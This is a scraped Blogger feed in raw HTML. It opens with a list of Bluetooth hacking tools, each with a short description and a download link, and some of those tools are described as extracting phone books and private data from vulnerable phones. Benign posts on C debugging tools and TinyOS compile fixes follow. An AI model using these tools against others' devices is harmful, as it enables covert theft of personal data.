<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><i>Bluecova :- </i></span></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"> Bluecova is a Java library for Bluetooth Application Development and it runs over a Java Virtual Machine. </span></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><a href="https://code.google.com/p/bluecove/" target="_blank"> <span style="color: #f1c232;">Link-page</span></a></span></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><br /></span></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><u><span style="font-size: small;"><b>Bluetooth Hacking Tools</b></span></u></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><br /></span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><em style="margin: 0px; padding: 0px;"><b><span class="Apple-style-span">BlueScanner</span></b></em>
– BlueScanner searches out for Bluetooth-enabled devices. It will try
to extract as much information as possible for each newly discovered
device. <a href="http://sourceforge.net/project/platformdownload.php?group_id=195755" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Download BlueScan</a>.</span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><em style="margin: 0px; padding: 0px;"><b><span class="Apple-style-span">BlueSniff</span></b></em> – BlueSniff is a GUI-based utility for finding discoverable and hidden Bluetooth-enabled devices. <a href="http://bluesniff.shmoo.com/bluesniff-0.1.tar.gz" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Download BlueSniff</a>.</span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><em style="margin: 0px; padding: 0px;"><b><span class="Apple-style-span">BTBrowser</span></b></em>
– Bluetooth Browser is a J2ME application that can browse and explore
the technical specification of surrounding Bluetooth-enabled devices.
You can browse device information and all</span></span><br />
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;">
supported profiles and service records of each device. BTBrowser works
on phones that supports JSR-82 – the Java Bluetooth specification. <a href="http://www.benhui.net/bluetooth/btbrowser.html" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Download BTBrowser</a>.</span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><em style="margin: 0px; padding: 0px;"><b><span class="Apple-style-span">B</span></b></em><em style="margin: 0px; padding: 0px;"><b><span class="Apple-style-span">TCrawler</span></b></em>
-BTCrawler is a scanner for Windows Mobile based devices. It scans for
other devices in range and performs service query. It implements the
BlueJacking and BlueSnarfing attacks. <a href="http://www.silentservices.de/btCrawler.html" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Download BTCrawler</a>.</span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><b><span class="Apple-style-span">Hacking Bluetooth Devices</span></b></span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><em style="margin: 0px; padding: 0px;">BlueBugger</em>
-BlueBugger exploits the BlueBug vulnerability. BlueBug is the name of a
set of Bluetooth security holes found in some Bluetooth-enabled mobile
phones. By exploiting those vulnerabilities, one can gain an
unauthorized access to the phone-book, calls lists and other private
information. <a href="http://www.remote-exploit.org/codes/bluebugger/bluebugger-0.1.tar.gz" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Download BlueBugger</a>.</span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><em style="margin: 0px; padding: 0px;"><b><span class="Apple-style-span">CIHWB</span></b></em>
– Can I Hack With Bluetooth (CIHWB) is a Bluetooth security auditing
framework for Windows Mobile 2005. Currently it only support some
Bluetooth exploits and tools like BlueSnarf, BlueJack, and some DoS
attacks. Should work on any PocketPC with the Microsoft Bluetooth stack.
<a href="http://sourceforge.net/project/showfiles.php?group_id=173145" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Download CIHWB</a>.</span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><em style="margin: 0px; padding: 0px;"><b><span class="Apple-style-span">Bluediving</span></b></em>
– Bluediving is a Bluetooth penetration testing suite. It implements
attacks like Bluebug, BlueSnarf, BlueSnarf++, BlueSmack, has features
such as Bluetooth address spoofing, an AT and a RFCOMM socket shell and
implements tools like carwhisperer, bss, L2CAP packetgenerator, L2CAP
connection resetter, RFCOMM scanner and green plaque scanning mode. <a href="http://sourceforge.net/project/showfiles.php?group_id=155933" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Download Bluediving</a>.</span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><em style="margin: 0px; padding: 0px;"><b><span class="Apple-style-span">Transient </span></b><span class="Apple-style-span" style="font-style: normal;"><b><span class="Apple-style-span">Bluetooth</span></b></span><b><span class="Apple-style-span"> Environment Auditor</span></b></em>
– T-BEAR is a security-auditing platform for Bluetooth-enabled devices.
The platform consists of Bluetooth discovery tools, sniffing tools and
various cracking tools. <a href="http://freshmeat.net/redir/t-bear/67412/url_tgz/tbear.tar.gz" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Download T-BEAR</a>.</span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><em style="margin: 0px; padding: 0px;"><b><span class="Apple-style-span">Bluesnarfer</span></b></em> – Bluesnarfer will download the phone-book of any mobile device vulnerable to<a href="http://www.salzburgresearch.at/research/publications_detail_e.php?pub_id=152" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Bluesnarfing</a>.
Bluesnarfing is a serious security flow discovered in several
Bluetooth-enabled mobile phones. If a mobile phone is vulnerable, it is
possible to connect to the phone without alerting the owner, and gain
access to restricted portions of the stored data. <a href="http://www.alighieri.org/tools/bluesnarfer.tar.gz" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Download Bluesnarfer</a>.</span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><em style="margin: 0px; padding: 0px;"><b><span class="Apple-style-span">BTcrack</span></b></em>
– BTCrack is a Bluetooth Pass phrase (PIN) cracking tool. BTCrack aims
to reconstruct the Passkey and the Link key from captured Pairing
exchanges. <a href="http://www.nruns.com/_en/security_tools_btcrack.php" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Download BTcrack</a>.</span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><em style="margin: 0px; padding: 0px;"><b><span class="Apple-style-span">Blooover II</span></b></em>
– Blooover II is a J2ME-based auditing tool. It is intended to serve as
an auditing tool to check whether a mobile phone is vulnerable. <a href="http://trifinite.org/Downloads/Blooover2.jar" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Download Blooover II</a>.</span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><em style="margin: 0px; padding: 0px;"><b><span class="Apple-style-span">BlueTest</span></b></em> – BlueTest is a Perl script designed to do data extraction from vulnerable Bluetooth-enabled devices. <a href="http://packetstorm.linuxsecurity.com/wireless/bluetest.pl.txt" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Download BlueTest</a>.</span></span></div>
<div style="line-height: 18px; margin: 0px; padding: 0px 0px 10px; text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><em style="margin: 0px; padding: 0px;"><span class="Apple-style-span"><b>BTAudit</b></span></em> – BTAudit is a set of programs and scripts for auditing Bluetooth-enabled devices. <a href="http://www.betaversion.net/btdsd/download/bt_audit-0.1.1.tar.gz" style="color: #fa7f42; margin: 0px; padding: 0px;" target="_blank">Download BTAuding</a>.</span></span></div>
</div>
Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com1tag:blogger.com,1999:blog-4527228262090522827.post-4918145660762446832014-07-29T02:23:00.000-07:002014-07-29T02:23:03.361-07:00<div dir="ltr" style="text-align: left;" trbidi="on">
C Code Optimization Tools for Linux Programmers<br />
<br />
<div style="text-align: justify;">
I am not here to talk about How to write a c programming code ..?. But i like to give some tips about the optimization of code by using minimal tools. Nowadays a lot of tools (IDE) can be available in market for Debugging and Optimizing of code. But i am always using some simple tools for my coding Optimization. We all know that c is the basic of all language, so most of the people were not give clear attention while writing it. It causes a lot of problem while it run. Most common problem is memory leaks, memory allocation error,improper scaling of memory area,padding of structure, Lack of Accuracy in Data type Specification. Improper programming practices, unbalanced Execution Time Flow . Writing a code is always a simple task, But the optimization of that code is major problem when you are doing a program in HIL (Hardware Interface Layer). Optimization of a code can be easily done by using a bunch of tools. but Before that you should have a very good understanding of your programs, then only you can change that according to your needs. Each programmer has its-own style in there programs, me also . I am always uses Direct Memory Addressing Methods in my programs. That will helps me to solve so many problems before even optimization is done. DMA :-Its a Pointer Addressing Method which helps to scale the structured and no structured memory area especially when we are dong String Operation or Writing code for a Device driver.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I am here to tell you only </div>
few optimization techniques which commonly uses in Optimization of C codes.<br />
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
1.How to Check Memory Leaks in C Programs ...?</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Tool : Valgrind</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Valgrind is an excellent tools for Memory leaks checks and it can easily download from net for Linux Machine.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
:~$ sudo apt-get install valgrind<br />
</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
:~$ valgrind <execbinary></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqziO99hEd1ACbueVMYsP_Pj5A3byzAN1nJukB2_nugyfVu3wE9425ySQRbX9xOsHcuzGn1kEzCUsCiqsdrQkmJDP7ATK4_Ijbcg-2MxPkA-OW2uKlHhxMdpUD_b7C4Sb9sctaucIFL4Kv/s1600/Screenshot+from+2014-07-26+12:55:42.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Valgrind OIptimization Window" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqziO99hEd1ACbueVMYsP_Pj5A3byzAN1nJukB2_nugyfVu3wE9425ySQRbX9xOsHcuzGn1kEzCUsCiqsdrQkmJDP7ATK4_Ijbcg-2MxPkA-OW2uKlHhxMdpUD_b7C4Sb9sctaucIFL4Kv/s1600/Screenshot+from+2014-07-26+12:55:42.png" height="400" title="Valgrind OIptimization Window" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXLWBuN6Fkz8iamBABIhShuqv5tSR8Ep4Ah0ELGmOG7H82gLiq9Djl5Nfbw0WshB9SRYtIArxNUImjEeVtSW4JJF6tAmHqhrDnILvWVkQK4FIoqqTQXVujTswvPCcxqw_9O8-0zyO9FjKa/s1600/Screenshot+from+2014-07-26+12:52:08.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXLWBuN6Fkz8iamBABIhShuqv5tSR8Ep4Ah0ELGmOG7H82gLiq9Djl5Nfbw0WshB9SRYtIArxNUImjEeVtSW4JJF6tAmHqhrDnILvWVkQK4FIoqqTQXVujTswvPCcxqw_9O8-0zyO9FjKa/s1600/Screenshot+from+2014-07-26+12:52:08.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;">Window for simple Memory Checking</a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br />
2.How to Check Execution time is taken for each System call in your program</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Tool : Strace</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Strace is a tools which helps you to know how your program execution flows internally in each system calls and even can calculate the time for each execution of your instruction in system calls.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuVGDx4AGziFWX10Z9GFoo7lC0YCErYVRqZFZD-KCCLsvh5lrh6wX8juTONiimuJ7VAGlOk4N858zcC0s413aI4rrg-5pGK42Jp05q-pWuTOXNXgYhNLSqRqGfBMEP7KLLEd1WU6u5J0Xg/s1600/Screenshot+from+2014-07-26+13:09:02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuVGDx4AGziFWX10Z9GFoo7lC0YCErYVRqZFZD-KCCLsvh5lrh6wX8juTONiimuJ7VAGlOk4N858zcC0s413aI4rrg-5pGK42Jp05q-pWuTOXNXgYhNLSqRqGfBMEP7KLLEd1WU6u5J0Xg/s1600/Screenshot+from+2014-07-26+13:09:02.png" height="400" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
2.gdb Debugger</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
GDB (GNU Debugger ) is the tool in which used widely for optimization of the code.This tool will help to check Stack of each function were using in our programs. If you have a very good knowledge in the GDB , then you don't need any other tool for optimization of the code. </div>
<div style="text-align: justify;">
<br /></div>
</div>
Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com0tag:blogger.com,1999:blog-4527228262090522827.post-12063133456427730912013-10-29T01:44:00.001-07:002013-10-29T01:44:10.555-07:00Machine Programs: TinyOS - ZigBee Data Reading from MDA300 CA<a href="http://sens-space.blogspot.com/2013/10/tinyos-zigbee-data-reading-from-mda300.html?spref=bl">Machine Programs: TinyOS - ZigBee Data Reading from MDA300 CA</a>: Reading SH11C Sensor Data [Temperature and Humidity] from MDA300CA DAB Sensor Sensor Programs /* Author : Bipin. Ku...Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com0tag:blogger.com,1999:blog-4527228262090522827.post-19843435192200766222013-10-25T06:01:00.001-07:002013-10-25T21:21:48.892-07:00Solution for NesC ADC Reading Program in TinyOS<div dir="ltr" style="text-align: left;" trbidi="on">
<b>Issues & Solution</b><br />
<br />
<style type="text/css">PRE.cjk { font-family: "WenQuanYi Micro Hei",monospace; }PRE.ctl { font-family: "Lohit Hindi",monospace; }P { margin-bottom: 0.21cm; }A:link { }</style>
<br />
<div style="margin-bottom: 0cm;">
<i><u><b>Configuraton for the
TinyOS-2.1.1[Solution for the Reading data from ADC ]</b></u></i></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
Same configuration we can apply
to lower Versions of TinyOS If Following error occurs
while doing the Programs
</div>
<ol>
<li><div style="margin-bottom: 0cm;">
<b>SensirionSht11C.nc Component
not found.</b></div>
<div style="margin-bottom: 0cm;">
</div>
</li>
</ol>
<div style="margin-bottom: 0cm;">
<span style="font-size: x-small;"><i><b><span style="background: transparent;">/opt/tinyos-2.1.1/tos/sensorboards/mda300/SensirionSht11C.nc:53:
component SensirionSht11ReaderP not found </span></b></i></span>
</div>
<div style="margin-bottom: 0cm;">
<span style="font-size: x-small;"><i><b><span style="background: transparent;">In
file included from
/opt/tinyos-2.1.1/tos/sensorboards/mda300/SensirionSht11C.nc:60, </span></b></i></span>
</div>
<div style="margin-bottom: 0cm;">
<span style="background: transparent;">
<span style="font-size: x-small;"><i><b>from
/opt/tinyos-2.1.1/tos/sensorboards/mda300/SensorMDA300CA.nc:94,</b></i></span></span></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<span style="font-size: x-small;"><i><b><span style="background: #3deb3d;">Status
:Issues Solved </span></b></i></span>
</div>
<div style="margin-bottom: 0cm;">
<span style="background: transparent;">
<span style="font-size: x-small;"><i><b>By Adding the Sensiron Component from
/chips/sh11/ in to the /sensorboard/mda300/ Sensor Directory </b></i></span></span>
</div>
<ol start="2">
<li><div style="margin-bottom: 0cm;">
<b><span style="background: transparent;">Cannot
Find Int3_interrupt </span></b>
</div>
</li>
</ol>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-size: x-small;"><i><b><span style="background: transparent;">In component
`HplSensirionSht11C': </span></b></i></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-size: x-small;"><i><b><span style="background: transparent;">/opt/tinyos-2.1.1/tos/sensorboards/mda300/HplSensirionSht11C.nc:69:
cannot find `Int3_Interrupt' </span></b></i></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-size: x-small;"><i><b><span style="background: transparent;">In component
`MDA3XXDigOutputC': </span></b></i></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-size: x-small;"><i><b><span style="background: transparent;">/opt/tinyos-2.1.1/tos/sensorboards/mda300/MDA3XXDigOutputC.nc:63:
cannot find `Int0_Interrupt' </span></b></i></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<br /></div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-size: x-small;"><i><b><span style="background: #3deb3d;">Satus:Issues
Solved </span></b></i></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<br /></div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-size: x-small;"><i><b><span style="background: #3deb3d;">https://www.millennium.berkeley.edu/pipermail/tinyos-2-commits/2010-May/009672.html</span></b></i></span></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<span style="background: transparent;">
<span style="font-size: x-small;"><i><b>Add the this component of the top
componet</b></i></span></span></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<span style="background: transparent;">
<span style="font-size: x-small;"><i><b>lines no </b></i></span></span>
</div>
<pre class="western"><span style="background: transparent;"> </span>
</pre>
<div style="margin-bottom: 0cm;">
<br /></div>
<pre class="western"><span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">components HplAtm128GeneralIOC as Pins, MicaBusP;</span></b></i></span></span></pre>
<div style="margin-bottom: 0cm;">
<span style="background: transparent;"> <span style="font-size: x-small;"><i><b>+ </b></i></span></span><span style="font-size: x-small;"><i><b>
components HplAtm128InterruptC</b></i></span></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<span style="background: transparent;">
</span>
</div>
<div style="margin-bottom: 0cm;">
<span style="font-size: x-small;"><i><b><span style="background: transparent;">Edit
the file /platform/mica/MicaBusC</span></b></i></span></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<span style="background: transparent;">
<span style="font-size: x-small;"><i><b>lines no --- 32,45 ----</b></i></span></span></div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-size: x-small;"><i><b>/* Added
for Error Resolving Int3_Interrupt */ </b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-size: x-small;"><i><b>/* INT
lines used as interrupt source */ </b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;">
<span style="font-size: x-small;"><i><b>/******************************************/ </b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-size: x-small;"><i><b>+
interface GpioInterrupt as IntO_Interrupt; </b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-size: x-small;"><i><b>+
interface GpioInterrupt as Int1_Interrupt; </b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-size: x-small;"><i><b>+
interface GpioInterrupt as Int2_Interrupt; </b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-size: x-small;"><i><b>+
interface GpioInterrupt as Int3_Interrupt; </b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<br /></div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-size: x-small;"><i><b>+
interface GeneralIO as UART_CLK; </b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-size: x-small;"><i><b>+
interface GeneralIO as UART_RXD; </b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;"> <span style="font-size: x-small;"><i><b>+
interface GeneralIO as UART_TXD; </b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="background: transparent;">
<span style="font-size: x-small;"><i><b>/*******************************************/</b></i></span></span></div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<br /></div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-size: x-small;"><i><b><span style="background: transparent;">Add this
also in implemenation Section for UART enable configuration
file for Atm128 Component</span></b></i></span></div>
<div style="margin-bottom: 0cm;">
<span style="background: transparent;">
<span style="font-size: x-small;"><i><b>lines no </b></i></span></span>
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<pre class="western" style="margin-left: 0.71cm; text-indent: -0.64cm;"><span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">+ UART_CLK = Pins.PortD5;</span></b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ UART_RXD = Pins.PortD2;</b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ UART_TXD = Pins.PortD3;</b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ </b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ components new Atm128GpioInterruptC() as Atm128GpioInterrupt0C;</b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ Atm128GpioInterrupt0C.Atm128Interrupt->HplAtm128InterruptC.Int4;</b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ Int0_Interrupt=Atm128GpioInterrupt0C.Interrupt;</b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ </b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ components new Atm128GpioInterruptC() as Atm128GpioInterrupt1C;</b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ Atm128GpioInterrupt1C.Atm128Interrupt->HplAtm128InterruptC.Int5;</b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ Int1_Interrupt=Atm128GpioInterrupt1C.Interrupt;</b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ </b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ components new Atm128GpioInterruptC() as Atm128GpioInterrupt2C;</b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ Atm128GpioInterrupt2C.Atm128Interrupt->HplAtm128InterruptC.Int6;</b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ Int2_Interrupt=Atm128GpioInterrupt2C.Interrupt;</b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ </b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ components new Atm128GpioInterruptC() as Atm128GpioInterrupt3C;</b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ Atm128GpioInterrupt3C.Atm128Interrupt->HplAtm128InterruptC.Int7;</b></i></span></span>
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b>+ Int3_Interrupt=Atm128GpioInterrupt3C.Interrupt;</b></i></span></span></pre>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<span style="background: transparent;">
<span style="font-size: x-small;"><i><b>Add the following line in to the
<span style="font-family: Liberation Serif, serif;">Atm128GpioInterruptC file </span></b></i></span></span>
</div>
<pre class="western" style="margin-left: 0.71cm; text-indent: -0.64cm;"><i><b>line no --- 40,43 ---</b></i>-
}
<i><b>+ default async event void Interrupt.fired() { </b></i></pre>
<ol start="3">
<li><div style="font-style: normal; margin-bottom: 0cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><b><span style="background: transparent;">DIOP
readDone event is not connected</span></b></span></span></div>
</li>
</ol>
<div style="font-style: normal; font-weight: normal; margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: small;"><span style="background: transparent;"> </span></span></span></div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">In
component `DIOP': </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">/opt/tinyos-2.1.1/tos/platforms/micaz/DIOP.nc:
In function `DigOutput.readyToRead': </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">/opt/tinyos-2.1.1/tos/platforms/micaz/DIOP.nc:84:
DigChannel_0.readDone not connected </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">/opt/tinyos-2.1.1/tos/platforms/micaz/DIOP.nc:86:
DigChannel_1.readDone not connected </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">/opt/tinyos-2.1.1/tos/platforms/micaz/DIOP.nc:88:
DigChannel_2.readDone not connected </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">/opt/tinyos-2.1.1/tos/platforms/micaz/DIOP.nc:90:
DigChannel_3.readDone not connected </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">/opt/tinyos-2.1.1/tos/platforms/micaz/DIOP.nc:92:
DigChannel_4.readDone not connected </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
<span style="font-family: Liberation Serif, serif;"><span style="font-size: x-small;"><i><b><span style="background: transparent;">/opt/tinyos-2.1.1/tos/platforms/micaz/DIOP.nc:94:
DigChannel_5.readDone not connected </span></b></i></span></span>
</div>
<div style="margin-bottom: 0cm; margin-left: 0.71cm; text-indent: -0.64cm;">
